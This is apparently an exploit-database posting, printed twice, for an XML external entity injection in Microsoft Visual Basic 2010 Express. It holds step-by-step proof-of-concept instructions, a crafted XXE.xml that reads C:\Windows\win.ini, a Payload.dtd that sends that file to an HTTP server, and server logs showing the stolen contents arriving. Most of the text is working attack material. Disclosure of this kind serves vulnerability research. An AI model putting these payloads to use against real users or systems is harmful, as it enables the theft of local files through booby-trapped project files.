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Microsoft Visual Basic 2010 Express XML Injection

Microsoft Visual Basic 2010 Express XML Injection
Posted Dec 4, 2019
Authored by ZwX

Microsoft Visual Basic 2010 Express suffers from an XML external entity injection vulnerability.

tags | exploit
SHA-256 | a1f3585dbb4519259aee9111c5d0582260d38950186768ca108075c7944bdb5b

Microsoft Visual Basic 2010 Express XML Injection

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# Exploit Title: Microsoft Visual Basic 2010 Express - XML External Entity Injection
# Exploit Author: ZwX
# Exploit Date: 2019-12-03
# Version Software : 10.0.30319.1 RTMRel
# Vendor Homepage : https://www.microsoft.com/
# Software Link: https://dotnet.developpez.com/telecharger/detail/id/593/Visual-Studio-2010-Express
# Tested on OS: Windows 7


[+] Exploit : (PoC)
===================
1) python -m SimpleHTTPServer 8000
2) Create file (.xml)
3) Create file Payload.dtd
4) Open the software Microsoft Visual Basic 2010
5) Drag the file (.xml) in a VB project
6) External Entity Injection Successful


[+] XXE.xml :
==============
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "http://localhost:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

[+] Payload.dtd :
=================
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000?%file;'>">
%all;


[+] Result Exploitation :
=========================
C:\>python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
ZwX-PC - - [03/Dec/2019 11:14:14] "GET /payload.dtd HTTP/1.1" 200 -
ZwX-PC - - [03/Dec/2019 11:14:14] "GET /?;%20for%2016-bit%20app%20support%0D%0A%5Bfonts%5D%0D%0A%5Bextensions%5D%0D%0A%5Bmci%20extensions%5D%0D%0A%5B
%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo
Files%5D%0D%0Acolumns=193;100;60;89;100;160; HTTP/1.1" 301 -
ZwX-PC - - [03/Dec/2019 11:14:14] "GET /?;%20for%2016-bit%20app%20support%0D%0A%5Bfonts%5D%0D%0A%5Bextensions%5D%0D%0A%5Bmci%20extensions%5D%0D%0A%5B
%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo
Files%5D%0D%0Acolumns=193;100;60;89;100;160;/ HTTP/1.1" 200 -


Microsoft Visual Basic 2010 Express - XML External Entity Injection.txt

# Exploit Title: Microsoft Visual Basic 2010 Express - XML External Entity Injection
# Exploit Author: ZwX
# Exploit Date: 2019-12-03
# Version Software : 10.0.30319.1 RTMRel
# Vendor Homepage : https://www.microsoft.com/
# Software Link: https://dotnet.developpez.com/telecharger/detail/id/593/Visual-Studio-2010-Express
# Tested on OS: Windows 7


[+] Exploit : (PoC)
===================
1) python -m SimpleHTTPServer 8000
2) Create file (.xml)
3) Create file Payload.dtd
4) Open the software Microsoft Visual Basic 2010
5) Drag the file (.xml) in a VB project
6) External Entity Injection Successful


[+] XXE.xml :
==============
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "http://localhost:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

[+] Payload.dtd :
=================
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000?%file;'>">
%all;


[+] Result Exploitation :
=========================
C:\>python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
ZwX-PC - - [03/Dec/2019 11:14:14] "GET /payload.dtd HTTP/1.1" 200 -
ZwX-PC - - [03/Dec/2019 11:14:14] "GET /?;%20for%2016-bit%20app%20support%0D%0A%5Bfonts%5D%0D%0A%5Bextensions%5D%0D%0A%5Bmci%20extensions%5D%0D%0A%5B
%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo
Files%5D%0D%0Acolumns=193;100;60;89;100;160; HTTP/1.1" 301 -
ZwX-PC - - [03/Dec/2019 11:14:14] "GET /?;%20for%2016-bit%20app%20support%0D%0A%5Bfonts%5D%0D%0A%5Bextensions%5D%0D%0A%5Bmci%20extensions%5D%0D%0A%5B
%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo
Files%5D%0D%0Acolumns=193;100;60;89;100;160;/ HTTP/1.1" 200 -
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